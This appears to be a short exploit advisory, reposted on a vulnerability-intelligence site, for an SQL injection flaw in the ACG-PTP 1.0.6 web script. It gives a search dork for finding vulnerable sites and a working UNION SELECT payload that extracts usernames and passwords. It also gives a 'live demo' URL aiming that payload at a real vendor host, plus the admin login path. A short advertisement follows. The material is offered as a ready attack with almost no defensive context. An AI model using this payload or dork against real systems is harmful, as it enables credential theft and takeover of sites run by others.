ACG-PTP 1.0.6 (adid) Remote SQL Injection Vulnerabilit
=======================================================
ACG-PTP 1.0.6 (adid) Remote SQL Injection Vulnerability
=======================================================
|___________________________________________________|
|
| ACG-PTP 1.0.6 (adid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
| Author: Hussin X
|
|
|___________________________________________________
| |
|
| script :http://discountedscripts.com/product_info.php?products_id=65
|
| DorK : inurl:index.php?menu=adorder
|___________________________________________________|
Exploit:
________
www.[target].com/Script/index.php?menu=adorder&adid=-3+union+select+null,null,concat_ws(0x3a,username,password),null+From+users--
L!VE DEMO:
_________
http://www.discountedscripts.com/demos/acg-ptp/index.php?menu=adorder&adid=-3+union+select+null,null,concat_ws(0x3a,username,password),null+From+users--
____________
Admin Login :
www.[target].com/Script/admin/
____________
# 0day.today [2018-01-05] #
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contactย us for a demo andย discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo